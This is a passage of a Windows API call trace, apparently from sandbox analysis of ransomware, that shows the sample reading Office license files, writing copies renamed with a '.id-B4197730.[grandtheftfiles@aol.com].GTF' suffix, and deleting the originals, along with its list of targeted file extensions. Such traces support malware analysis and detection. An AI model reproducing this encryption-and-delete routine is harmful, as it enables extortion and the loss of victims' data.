	[0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.668] lstrlenW (lpString=".jpg") returned 4
	[0180.668] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.668] lstrlenW (lpString=".doc") returned 4
	[0180.668] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.669] lstrlenW (lpString=".docx") returned 5
	[0180.669] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.669] lstrlenW (lpString=".pdf") returned 4
	[0180.669] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.669] lstrlenW (lpString=".xls") returned 4
	[0180.669] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.669] lstrlenW (lpString=".xlsx") returned 5
	[0180.669] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.669] lstrlenW (lpString=".ppt") returned 4
	[0180.669] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.669] lstrlenW (lpString=".zip") returned 4
	[0180.669] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.669] lstrlenW (lpString=".rar") returned 4
	[0180.669] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.669] lstrlenW (lpString=".bz2") returned 4
	[0180.669] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.669] lstrlenW (lpString=".7z") returned 3
	[0180.669] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.669] lstrlenW (lpString=".dbf") returned 4
	[0180.669] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.669] lstrlenW (lpString=".1cd") returned 4
	[0180.669] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.669] lstrlenW (lpString=".jpg") returned 4
	[0180.669] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.669] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.669] lstrlenW (lpString="O365ProPlusR_Subscription4-ppd.xrm-ms") returned 37
	[0180.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0180.670] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=28261) returned 1
	[0180.670] CloseHandle (hObject=0x554) returned 1
	[0180.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms")) returned 0x220
	[0180.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0180.671] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.671] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0180.672] GetLastError () returned 0x0
	[0180.672] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0180.732] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0180.788] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.788] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0180.788] SetEndOfFile (hFile=0x57c) returned 1
	[0180.789] CloseHandle (hObject=0x57c) returned 1
	[0180.789] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.789] SetEndOfFile (hFile=0x554) returned 1
	[0180.792] CloseHandle (hObject=0x554) returned 1
	[0180.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms")) returned 1
	[0180.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.793] lstrlenW (lpString=".doc") returned 4
	[0180.793] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.793] lstrlenW (lpString=".docx") returned 5
	[0180.793] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.793] lstrlenW (lpString=".pdf") returned 4
	[0180.793] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.793] lstrlenW (lpString=".xls") returned 4
	[0180.793] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.793] lstrlenW (lpString=".xlsx") returned 5
	[0180.793] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.880] lstrlenW (lpString=".ppt") returned 4
	[0180.880] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.880] lstrlenW (lpString=".zip") returned 4
	[0180.880] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.880] lstrlenW (lpString=".rar") returned 4
	[0180.880] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString=".bz2") returned 4
	[0180.881] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString=".7z") returned 3
	[0180.881] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.881] lstrlenW (lpString=".dbf") returned 4
	[0180.881] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.881] lstrlenW (lpString=".1cd") returned 4
	[0180.881] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.881] lstrlenW (lpString=".jpg") returned 4
	[0180.881] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.881] lstrlenW (lpString=".doc") returned 4
	[0180.881] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString=".docx") returned 5
	[0180.881] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.881] lstrlenW (lpString=".pdf") returned 4
	[0180.881] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString=".xls") returned 4
	[0180.881] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString=".xlsx") returned 5
	[0180.881] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.881] lstrlenW (lpString=".ppt") returned 4
	[0180.881] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.881] lstrlenW (lpString=".zip") returned 4
	[0180.881] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString=".rar") returned 4
	[0180.881] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString=".bz2") returned 4
	[0180.881] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.881] lstrlenW (lpString=".7z") returned 3
	[0180.882] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.882] lstrlenW (lpString=".dbf") returned 4
	[0180.882] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.882] lstrlenW (lpString=".1cd") returned 4
	[0180.882] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0180.882] lstrlenW (lpString=".jpg") returned 4
	[0180.882] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.882] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.882] lstrlenW (lpString="O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 40
	[0180.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0180.883] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11646) returned 1
	[0180.883] CloseHandle (hObject=0x554) returned 1
	[0180.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms")) returned 0x220
	[0180.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0180.884] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.884] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0180.885] GetLastError () returned 0x0
	[0180.885] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0180.945] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0180.946] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.946] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x124, lpOverlapped=0x0) returned 1
	[0180.946] SetEndOfFile (hFile=0x57c) returned 1
	[0181.016] CloseHandle (hObject=0x57c) returned 1
	[0181.016] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.016] SetEndOfFile (hFile=0x554) returned 1
	[0181.059] CloseHandle (hObject=0x554) returned 1
	[0181.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms")) returned 1
	[0181.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.060] lstrlenW (lpString=".doc") returned 4
	[0181.060] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.060] lstrlenW (lpString=".docx") returned 5
	[0181.060] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.060] lstrlenW (lpString=".pdf") returned 4
	[0181.060] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.060] lstrlenW (lpString=".xls") returned 4
	[0181.060] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.060] lstrlenW (lpString=".xlsx") returned 5
	[0181.060] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.060] lstrlenW (lpString=".ppt") returned 4
	[0181.060] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.060] lstrlenW (lpString=".zip") returned 4
	[0181.060] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.060] lstrlenW (lpString=".rar") returned 4
	[0181.060] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.060] lstrlenW (lpString=".bz2") returned 4
	[0181.060] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.060] lstrlenW (lpString=".7z") returned 3
	[0181.060] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.060] lstrlenW (lpString=".dbf") returned 4
	[0181.060] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.061] lstrlenW (lpString=".1cd") returned 4
	[0181.061] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.061] lstrlenW (lpString=".jpg") returned 4
	[0181.061] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.061] lstrlenW (lpString=".doc") returned 4
	[0181.061] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString=".docx") returned 5
	[0181.061] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.061] lstrlenW (lpString=".pdf") returned 4
	[0181.061] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString=".xls") returned 4
	[0181.061] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString=".xlsx") returned 5
	[0181.061] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.061] lstrlenW (lpString=".ppt") returned 4
	[0181.061] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.061] lstrlenW (lpString=".zip") returned 4
	[0181.061] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString=".rar") returned 4
	[0181.061] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString=".bz2") returned 4
	[0181.061] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString=".7z") returned 3
	[0181.061] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.061] lstrlenW (lpString=".dbf") returned 4
	[0181.061] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.061] lstrlenW (lpString=".1cd") returned 4
	[0181.061] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0181.062] lstrlenW (lpString=".jpg") returned 4
	[0181.062] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.062] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.062] lstrlenW (lpString="O365ProPlusR_SubTrial1-pl.xrm-ms") returned 32
	[0181.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.062] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11179) returned 1
	[0181.062] CloseHandle (hObject=0x554) returned 1
	[0181.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms")) returned 0x220
	[0181.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.063] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.063] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0181.064] GetLastError () returned 0x0
	[0181.064] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0181.068] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0181.069] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.069] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x114, lpOverlapped=0x0) returned 1
	[0181.069] SetEndOfFile (hFile=0x57c) returned 1
	[0181.070] CloseHandle (hObject=0x57c) returned 1
	[0181.070] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.070] SetEndOfFile (hFile=0x554) returned 1
	[0181.072] CloseHandle (hObject=0x554) returned 1
	[0181.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms")) returned 1
	[0181.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.074] lstrlenW (lpString=".doc") returned 4
	[0181.074] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString=".docx") returned 5
	[0181.074] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.074] lstrlenW (lpString=".pdf") returned 4
	[0181.074] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString=".xls") returned 4
